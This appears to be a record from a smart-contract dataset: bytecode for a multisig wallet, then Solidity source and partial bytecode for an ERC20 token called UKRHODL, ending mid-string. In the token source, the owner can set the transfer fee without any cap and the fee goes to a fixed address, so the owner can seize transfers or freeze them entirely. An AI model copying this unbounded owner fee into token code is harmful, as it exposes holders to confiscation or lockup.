0x6080604052600436106101115763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c278114610153578063173825d91461018757806320ea8d86146101a85780632f54bf6e146101c05780633411c81c146101f557806354741525146102195780637065cb481461024a578063784547a71461026b5780638b51d13f146102835780639ace38c21461029b578063a0e67e2b146102dd578063a8abe69a14610342578063b5dc40c314610367578063b77bf6001461037f578063c01a8c8414610394578063d74f8edd146103ac578063dc8452cd146103c1578063e20056e6146103d6578063e29bfe13146103fd578063ee22610b14610421575b60003411156101515760408051348152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561015f57600080fd5b5061016b600435610439565b60408051600160a060020a039092168252519081900360200190f35b34801561019357600080fd5b50610151600160a060020a0360043516610461565b3480156101b457600080fd5b506101516004356105e9565b3480156101cc57600080fd5b506101e1600160a060020a03600435166106a3565b604080519115158252519081900360200190f35b34801561020157600080fd5b506101e1600435600160a060020a03602435166106b8565b34801561022557600080fd5b50610238600435151560243515156106d8565b60408051918252519081900360200190f35b34801561025657600080fd5b50610151600160a060020a0360043516610744565b34801561027757600080fd5b506101e1600435610895565b34801561028f57600080fd5b50610238600435610919565b3480156102a757600080fd5b506102b3600435610988565b60408051600160a060020a0390941684526020840192909252151582820152519081900360600190f35b3480156102e957600080fd5b506102f26109b6565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561032e578181015183820152602001610316565b505050509050019250505060405180910390f35b34801561034e57600080fd5b506102f260043560243560443515156064351515610a19565b34801561037357600080fd5b506102f2600435610b52565b34801561038b57600080fd5b50610238610ccb565b3480156103a057600080fd5b50610151600435610cd1565b3480156103b857600080fd5b50610238610d9c565b3480156103cd57600080fd5b50610238610da1565b3480156103e257600080fd5b50610151600160a060020a0360043581169060243516610da7565b34801561040957600080fd5b50610238600160a060020a0360043516602435610f45565b34801561042d57600080fd5b50610151600435610f7b565b600380548290811061044757fe5b600091825260209091200154600160a060020a0316905081565b600160a060020a0381166000908152600260205260408120548190839060ff16151561048c57600080fd5b3360008181526002602052604090205460ff1615156104aa57600080fd5b600160a060020a0385166000908152600260205260408120805460ff1916905593505b600354600019018410156105855784600160a060020a03166003858154811015156104f457fe5b600091825260209091200154600160a060020a0316141561057a5760038054600019810190811061052157fe5b60009182526020909120015460038054600160a060020a03909216918690811061054757fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610585565b6001909301926104cd565b6003805460001901906105989082611267565b506003546002900492506105ae836001016110aa565b604051600160a060020a038616907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a25050505050565b3360008181526002602052604090205460ff16151561060757600080fd5b60008281526001602090815260408083203380855292529091205483919060ff16151561063357600080fd5b600084815260208190526040902060020154849060ff161561065457600080fd5b6000858152600160209081526040808320338085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b60055481101561073d57838015610705575060008181526020819052604090206002015460ff16155b806107295750828015610729575060008181526020819052604090206002015460ff165b15610735576001820191505b6001016106dc565b5092915050565b3360008181526002602052604081205490919060ff16151561076557600080fd5b600160a060020a038316600090815260026020526040902054839060ff161561078d57600080fd5b83600160a060020a03811615156107a357600080fd5b600380549050600101600454603282111580156107c05750818111155b80156107cb57508015155b80156107d657508115155b15156107e157600080fd5b600160a060020a038716600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a260035460029004955061088c866001016110aa565b50505050505050565b600080805b60035481101561091257600084815260016020526040812060038054919291849081106108c357fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff16156108f7576001820191505b60045482141561090a5760019250610912565b60010161089a565b5050919050565b6000805b600354811015610982576000838152600160205260408120600380549192918490811061094657fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff161561097a576001820191505b60010161091d565b50919050565b600060208190529081526040902080546001820154600290920154600160a060020a03909116919060ff1683565b60606003805480602002602001604051908101604052809291908181526020018280548015610a0e57602002820191906000526020600020905b8154600160a060020a031681526001909101906020018083116109f0575b505050505090505b90565b606080600080600554604051908082528060200260200182016040528015610a4b578160200160208202803883390190505b50925060009150600090505b600554811015610ad257858015610a80575060008181526020819052604090206002015460ff16155b80610aa45750848015610aa4575060008181526020819052604090206002015460ff165b15610aca57808383815181101515610ab857fe5b60209081029091010152600191909101905b600101610a57565b878703604051908082528060200260200182016040528015610afe578160200160208202803883390190505b5093508790505b86811015610b47578281815181101515610b1b57fe5b9060200190602002015184898303815181101515610b3557fe5b60209081029091010152600101610b05565b505050949350505050565b606080600080600380549050604051908082528060200260200182016040528015610b87578160200160208202803883390190505b50925060009150600090505b600354811015610c445760008581526001602052604081206003805491929184908110610bbc57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610c3c576003805482908110610bf757fe5b6000918252602090912001548351600160a060020a0390911690849084908110610c1d57fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610b93565b81604051908082528060200260200182016040528015610c6e578160200160208202803883390190505b509350600090505b81811015610cc3578281815181101515610c8c57fe5b906020019060200201518482815181101515610ca457fe5b600160a060020a03909216602092830290910190910152600101610c76565b505050919050565b60055481565b3360008181526002602052604090205460ff161515610cef57600080fd5b6000828152602081905260409020548290600160a060020a03161515610d1457600080fd5b60008381526001602090815260408083203380855292529091205484919060ff1615610d3f57600080fd5b6000858152600160208181526040808420338086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610d9585610f7b565b5050505050565b603281565b60045481565b3360008181526002602052604081205490919060ff161515610dc857600080fd5b600160a060020a038416600090815260026020526040902054849060ff161515610df157600080fd5b600160a060020a038416600090815260026020526040902054849060ff1615610e1957600080fd5b600093505b600354841015610eaa5785600160a060020a0316600385815481101515610e4157fe5b600091825260209091200154600160a060020a03161415610e9f5784600385815481101515610e6c57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610eaa565b600190930192610e1e565b600160a060020a03808716600081815260026020526040808220805460ff1990811690915593891682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038616907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a2505050505050565b3360008181526002602052604081205490919060ff161515610f6657600080fd5b610f70848461113c565b915061073d82610cd1565b3360008181526002602052604081205490919060ff161515610f9c57600080fd5b60008381526001602090815260408083203380855292529091205484919060ff161515610fc857600080fd5b600085815260208190526040902060020154859060ff1615610fe957600080fd5b610ff286610895565b156110a257600086815260208190526040902060028101805460ff1916600190811790915581549082015491965061103591600160a060020a0390911690611205565b1561106a5760405186907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a26110a2565b60405186907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260028501805460ff191690555b505050505050565b3360008181526002602052604090205460ff1615156110c857600080fd5b60035482603282118015906110dd5750818111155b80156110e857508015155b80156110f357508115155b15156110fe57600080fd5b60048490556040805185815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a150505050565b600082600160a060020a038116151561115457600080fd5b6005805460408051606081018252600160a060020a03888116825260208083018981526000848601818152878252928190528581209451855473ffffffffffffffffffffffffffffffffffffffff191694169390931784555160018085019190915590516002909301805460ff19169315159390931790925584549091019093555190935083917fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5191a25092915050565b3360008181526002602052604081205490919060ff16151561122657600080fd5b604051600160a060020a0385169084156108fc029085906000818181858888f1935050505015801561125c573d6000803e3d6000fd5b506001949350505050565b81548183558181111561128b5760008381526020902061128b918101908301611290565b505050565b610a1691905b808211156112aa5760008155600101611296565b50905600a165627a7a723058204ae4e3ceeab85696f8b9eea57e25a22a53a0af964044dca3890e1e1bf3e6c1f20029
{"success": true, "error": null, "results": {}}
6,978
0x8B1f8159Db068F19882afeCD82832A06fB990D10
pragma solidity ^0.6.12; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract UKRToken is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private _tTotal = 22500000* 10**9; address public projectAddr = 0x935A5f15F6052d9C8374865A403e5D2559b0bf58; address public premierAddr = 0x165CD37b4C644C2921454429E7F9358d18A45e14; string private _name = "UKRHODL"; string private _symbol = "UKRHODL"; uint8 private _decimals = 9; uint256 public _taxFee = 1; uint256 private _previousTaxFee = _taxFee; constructor () public { _tOwned[projectAddr] = _tTotal; _isExcludedFromFee[projectAddr] = true; emit Transfer(address(0), projectAddr, _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function removeAllFee() private { if(_taxFee == 0) return; _previousTaxFee = _taxFee; _taxFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); _transferBothExcluded(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _takepremierAddr(sender,tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takepremierAddr(address sender, uint256 tFee) private { _tOwned[premierAddr] = _tOwned[premierAddr].add(tFee); emit Transfer(sender, premierAddr, tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b857806395d89b411161007c57806395d89b4114610532578063a457c2d7146105b5578063a9059cbb14610619578063dd62ed3e1461067d578063ea2f0b37146106f5578063f2fde38b1461073957610137565b806370a0823114610434578063715018a61461048c5780638c85476f146104965780638da5cb5b146104ca578063947af632146104fe57610137565b8063313ce567116100ff578063313ce567146102f357806339509351146103145780633b124fe714610378578063437823ec146103965780635342acb4146103da57610137565b8063061c82d01461013c57806306fdde031461016a578063095ea7b3146101ed57806318160ddd1461025157806323b872dd1461026f575b600080fd5b6101686004803603602081101561015257600080fd5b810190808035906020019092919050505061077d565b005b61017261084f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b2578082015181840152602081019050610197565b50505050905090810190601f1680156101df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102396004803603604081101561020357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108f1565b60405180821515815260200191505060405180910390f35b61025961090f565b6040518082815260200191505060405180910390f35b6102db6004803603606081101561028557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610919565b60405180821515815260200191505060405180910390f35b6102fb6109f2565b604051808260ff16815260200191505060405180910390f35b6103606004803603604081101561032a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a09565b60405180821515815260200191505060405180910390f35b610380610abc565b6040518082815260200191505060405180910390f35b6103d8600480360360208110156103ac57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac2565b005b61041c600480360360208110156103f057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610be5565b60405180821515815260200191505060405180910390f35b6104766004803603602081101561044a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c3b565b6040518082815260200191505060405180910390f35b610494610c84565b005b61049e610e0a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104d2610e30565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610506610e59565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61053a610e7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561057a57808201518184015260208101905061055f565b50505050905090810190601f1680156105a75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610601600480360360408110156105cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f21565b60405180821515815260200191505060405180910390f35b6106656004803603604081101561062f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fee565b60405180821515815260200191505060405180910390f35b6106df6004803603604081101561069357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061100c565b6040518082815260200191505060405180910390f35b6107376004803603602081101561070b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611093565b005b61077b6004803603602081101561074f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b6565b005b6107856113c1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610845576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600c8190555050565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108e75780601f106108bc576101008083540402835291602001916108e7565b820191906000526020600020905b8154815290600101906020018083116108ca57829003601f168201915b5050505050905090565b60006109056108fe6113c1565b84846113c9565b6001905092915050565b6000600654905090565b60006109268484846115c0565b6109e7846109326113c1565b6109e285604051806060016040528060288152602001611f7260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109986113c1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e89092919063ffffffff16565b6113c9565b600190509392505050565b6000600b60009054906101000a900460ff16905090565b6000610ab2610a166113c1565b84610aad8560046000610a276113c1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a890919063ffffffff16565b6113c9565b6001905092915050565b600c5481565b610aca6113c1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c8c6113c1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6060600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f175780601f10610eec57610100808354040283529160200191610f17565b820191906000526020600020905b815481529060010190602001808311610efa57829003601f168201915b5050505050905090565b6000610fe4610f2e6113c1565b84610fdf8560405180606001604052806025815260200161200c6025913960046000610f586113c1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e89092919063ffffffff16565b6113c9565b6001905092915050565b6000611002610ffb6113c1565b84846115c0565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61109b6113c1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461115b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6111be6113c1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461127e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611304576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611f096026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561144f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611fe86024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114d5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611f2f6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611646576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611fc36025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116cc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611ee66023913960400191505060405180910390fd5b60008111611725576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180611f9a6029913960400191505060405180910390fd5b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117cc5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156117d657600090505b6117e284848484611930565b50505050565b6000838311158290611895576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561185a57808201518184015260208101905061183f565b50505050905090810190601f1680156118875780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b8061193e5761193d61195d565b5b611949848484611981565b8061195757611956611b31565b5b50505050565b6000600c54141561196d5761197f565b600c54600d819055506000600c819055505b565b60008061198d83611b3c565b915091506119e383600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7090919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a7882600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a890919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ac58582611bba565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b600d54600c81905550565b6000806000611b4a84611d1e565b90506000611b618286611b7090919063ffffffff16565b90508082935093505050915091565b6000611bb283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117e8565b905092915050565b611c2e8160036000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a890919063ffffffff16565b60036000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000611d486064611d3a600c5485611d4f90919063ffffffff16565b611dd590919063ffffffff16565b9050919050565b600080831415611d625760009050611dcf565b6000828402905082848